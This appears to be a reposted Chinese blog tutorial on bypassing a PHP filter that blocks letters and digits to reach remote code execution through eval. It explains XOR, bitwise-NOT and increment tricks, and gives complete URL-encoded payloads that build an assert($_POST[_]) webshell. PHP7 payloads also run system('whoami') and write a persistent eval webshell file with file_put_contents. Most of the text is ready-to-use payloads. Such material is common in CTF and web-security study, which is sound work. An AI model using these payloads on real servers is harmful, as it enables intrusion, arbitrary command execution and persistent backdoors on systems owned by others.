1. 程式人生 > 其它 >RCE篇之無數字字母rce

RCE篇之無數字字母rce

無數字字母rce

無數字字母rce,這是一個老生常談的問題,就是不利用數字和字母構造出webshell,從而能夠執行我們的命令。

核心程式碼

<?php
highlight_file(__FILE__);
$code = $_GET['code'];
if(preg_match("/[A-Za-z0-9]+/",$code)){
    die("hacker!");
}
@eval($code);
?>

這裡的思路就是利用各種非數字字母的字元,經過各種變換(異或、取反、自增),構造出單個的字母字元,然後把單個字元拼接成一個函式名,比如說assert,然後就可以動態執行了。所以說這裡的核心就是非字母的字元換成字母字元。

1、異或^

這裡的異或,指的是php按位異或,在php中,兩個字元進行異或操作後,得到的依然是一個字元,所以說當我們想得到a-z中某個字母時,就可以找到兩個非字母數字的字元,只要他們倆的異或結果是這個字母即可。而在php中,兩個字元進行異或時,會先將字串轉換成ascii碼值,再將這個值轉換成二進位制,然後一位一位的進行按位異或,異或的規則是:1^1=0,1^0=1,0^1=1,0^0=0,簡單的來說就是相同為零,不同為一ascii碼表參考如下:

那假如說我們想要構造出小寫字母a,按照上表,a的二進位制為01100001,那我們就可以選擇兩個非字母數字的字元進行異或,這裡有很多種選法,我選擇的是@!這兩個,成功異或出了字母a

然後我們就可以按照這個方法進行拼接了,我們的目標字串是assert($_POST[_]),其實很簡單,我們需要拼接的字母只有九個而已,拼接結果如下,因為很多都是不可見的字元,所以說我就先url編碼了一下(url編碼就是它的16進位制編碼前面加個%哈):

a:'%40'^'%21' ; s:'%7B'^'%08' ; s:'%7B'^'%08' ; e:'%7B'^'%1E' ; r:'%7E'^'%0C' ; t:'%7C'^'%08'
P:'%0D'^'%5D' ; O:'%0F'^'%40' ; S:'%0E'^'%5D' ; T:'%0B'^'%5F'
拼接起來:
$_=('%40'^'%21').('%7B'^'%08').('%7B'^'%08').('%7B'^'%1E').('%7E'^'%0C').('%7C'^'%08');  //
$_=assert $__='_'.('%0D'^'%5D').('%0F'^'%40').('%0E'^'%5D').('%0B'^'%5F'); // $__=_POST $___=$$__; //$___=$_POST $_($___[_]);//assert($_POST[_]); 放到一排就是: $_=('%40'^'%21').('%7B'^'%08').('%7B'^'%08').('%7B'^'%1E').('%7E'^'%0C').('%7C'^'%08');$__='_'.('%0D'^'%5D').('%0F'^'%40').('%0E'^'%5D').('%0B'^'%5F');$___=$$__;$_($___[_]);

以上是我自己構造的,經檢驗沒有問題,構造結果可能會有很多種,但方法都是一樣的,這樣就可以成功進行rce了。

2、取反~

取反也是php中的一種運算子,關於取反的具體規則可以參考這篇文章:https://blog.csdn.net/WilliamsWayne/article/details/78259501,寫得挺詳細的,取反的好處就是,它每一個字元取反之後都會變成另一個字元,不像異或需要兩個字元才能構造出一個字元。

方法一

首先,我們想要構造的依然是assert($_POST[_])這條語句,和上面一樣,我們先用php的取反符號~將字串assert_POST取反,這裡需要注意的是,由於它取反之後會有大量不可顯字元,所以我們同樣需要將其url編碼,然後當我們要用的時候,再利用取反符號把它們取回來即可,具體請見下圖:

可以看到,assert的取反結果是%9E%8C%8C%9A%8D%8B_POST的取反結果是%A0%AF%B0%AC%AB,那我們就開始構造:

$_=~(%9E%8C%8C%9A%8D%8B);    //這裡利用取反符號把它取回來,$_=assert
$__=~(%A0%AF%B0%AC%AB);      //$__=_POST
$___=$$__;                   //$___=$_POST
$_($___[_]);                 //assert($_POST[_]);
放到一排就是:
$_=~(%9E%8C%8C%9A%8D%8B);$__=~(%A0%AF%B0%AC%AB);$___=$$__;$_($___[_]);

方法二

方法二是我看p神部落格才瞭解到的方法,就是說利用的是UTF-8編碼的某個漢字,並將其中某個字元取出來,然後再進行一次取反操作,就能得到一個我們想要的字元,這裡的原理我確實是不知道,因為這裡好像是涉及到計組知識而我現在還沒學,害,現在就只有先學會怎麼用,原理後面再補了

這裡之所以會輸出兩個相同的r,就是因為裡面$_{1}就是\x8d,然後這裡對\x86進行取反就能得到r,原理不詳

總之我們需要知道的是,對於一個漢字進行~($x{0})~($x{1})~($x{2})的操作,可以得到某個ascii碼的字元值,我們就可以利用這一點構造出webshell

$_++;                //得到1,此時$_=1
$__ = "極";
$___ = ~($__{$_});   //得到a,此時$___="a"
$__ = "區";
$___ .= ~($__{$_});   //得到s,此時$___="as"
$___ .= ~($__{$_});   //此時$___="ass"
$__ = "皮";
$___ .= ~($__{$_});   //得到e,此時$___="asse"
$__ = "十";
$___ .= ~($__{$_});   //得到r,此時$___="asser"
$__ = "勺";
$___ .= ~($__{$_});   //得到t,此時$___="assert"
$____ = '_';          //$____='_'
$__ = "寸";
$____ .= ~($__{$_});   //得到P,此時$____="_P"
$__ = "小";
$____ .= ~($__{$_});   //得到O,此時$____="_PO"
$__ = "欠";
$____ .= ~($__{$_});   //得到S,此時$____="_POS"
$__ = "立";
$____ .= ~($__{$_});   //得到T,此時$____="_POST"
$_ = $$____;           //$_ = $_POST
$___($_[_]);           //assert($_POST[_])
放到一排就是:
$_++;$__ = "極";$___ = ~($__{$_});$__ = "區";$___ .= ~($__{$_});$___ .= ~($__{$_});$__ = "皮";$___ .= ~($__{$_});$__ = "十";$___ .= ~($__{$_});$__ = "勺";$___ .= ~($__{$_});$____ = '_';$__ = "寸";$____ .= ~($__{$_});$__ = "小";$____ .= ~($__{$_});$__ = "欠";$____ .= ~($__{$_});$__ = "立";$____ .= ~($__{$_});$_ = $$____;$___($_[_]);

由於不可見字元的原因,我們還是要進行url編碼之後才能正常使用:

%24_%2B%2B%3B%24__%20%3D%20%22%E6%9E%81%22%3B%24___%20%3D%20~(%24__%7B%24_%7D)%3B%24__%20%3D%20%22%E5%8C%BA%22%3B%24___%20.%3D%20~(%24__%7B%24_%7D)%3B%24___%20.%3D%20~(%24__%7B%24_%7D)%3B%24__%20%3D%20%22%E7%9A%AE%22%3B%24___%20.%3D%20~(%24__%7B%24_%7D)%3B%24__%20%3D%20%22%E5%8D%81%22%3B%24___%20.%3D%20~(%24__%7B%24_%7D)%3B%24__%20%3D%20%22%E5%8B%BA%22%3B%24___%20.%3D%20~(%24__%7B%24_%7D)%3B%24____%20%3D%20'_'%3B%24__%20%3D%20%22%E5%AF%B8%22%3B%24____%20.%3D%20~(%24__%7B%24_%7D)%3B%24__%20%3D%20%22%E5%B0%8F%22%3B%24____%20.%3D%20~(%24__%7B%24_%7D)%3B%24__%20%3D%20%22%E6%AC%A0%22%3B%24____%20.%3D%20~(%24__%7B%24_%7D)%3B%24__%20%3D%20%22%E7%AB%8B%22%3B%24____%20.%3D%20~(%24__%7B%24_%7D)%3B%24_%20%3D%20%24%24____%3B%24___(%24_%5B_%5D)%3B

3、自增

在處理字元變數的算數運算時,PHP沿襲了Perl的習慣,而不是C語言的。在C語言中,它遞增的是ASCII值,a = 'Z'; a++; 將把 a 變成 '[''Z' 的 ASCII 值是 90,'[' 的 ASCII 值是 91),而在Perl中, $a = 'Z'; $a++; 將把 $a 變成'AA'。注意字元變數只能遞增,不能遞減,並且只支援純字母(a-z 和 A-Z)。遞增或遞減其他字元變數則無效,原字串沒有變化。

也就是說,只要我們獲得了小寫字母a,就可以通過自增獲得所有小寫字母,當我們獲得大寫字母A,就可以獲得所有大寫字母了

正好,陣列(Array)中就正好有大寫字母A和小寫字母a,而在PHP中,如果強制連線陣列和字串的話,陣列就會被強制轉換成字串,它的值就為Array,那取它的第一個子母,就拿到A了,那有了aA,相當於我們就可以拿到a-zA-Z中的所有字母了

這裡我就直接給出p神的構造結果了,構造出來很長,而且我感覺也不是特別實用:

<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E 
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);

放到一排再url編碼之後是:

%24_%3D%5B%5D%3B%24_%3D%40%22%24_%22%3B%24_%3D%24_%5B'!'%3D%3D'%40'%5D%3B%24___%3D%24_%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24____%3D'_'%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24_%3D%24%24____%3B%24___(%24_%5B_%5D)%3B

說實話真的太長了,要是稍微有個長度限制就用不了,所以說這種方法只做瞭解即可

php5和php7的區別

在研究無數字字母rce的過程中,一個很重要的函式就是assert,但在php5的版本和php7的版本中,它是有一些區別的,我們上面的測試都是基於php5進行的,在php5中assert是一個函式,我們可以通過$f='assert';$f(...);這樣的方法來動態執行任意程式碼,在php7中,assert不再是函式,變成了一個語言結構(類似eval),不能再作為函式名動態執行程式碼,但是在php7中,我們可以使用($a)()這種方法來執行命令,那相當於我們對phpinfo取反後就可以直接執行了,也可以選擇file_put_contents()來寫入shell,在php5中這樣是不行的:

例子一

在php7中,因為可以使用($a)()這種方法來執行命令,所以說我們利用call_user_func()來舉例,(call_user_func)(system,whoami,'')即可執行whoami的命令:

那構造出來的結果就為:

(~%9c%9e%93%93%a0%8a%8c%9a%8d%a0%99%8a%91%9c)(~%8c%86%8c%8b%9a%92,~%88%97%90%9e%92%96,'');

例子二

再來一個在php7中利用file_put_contents()寫入shell的例子:

我們要構造的語句為:file_put_contents('4.php','<?php eval(\$_POST[1]);');構造出來就為:

(~(%99%96%93%9A%A0%8F%8A%8B%A0%9C%90%91%8B%9A%91%8B%8C))(~(%CB%D1%8F%97%8F),~(%C3%C0%8F%97%8F%DF%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%CE%A2%D6%C4));

這裡要注意的就是要有該目錄的寫入許可權哈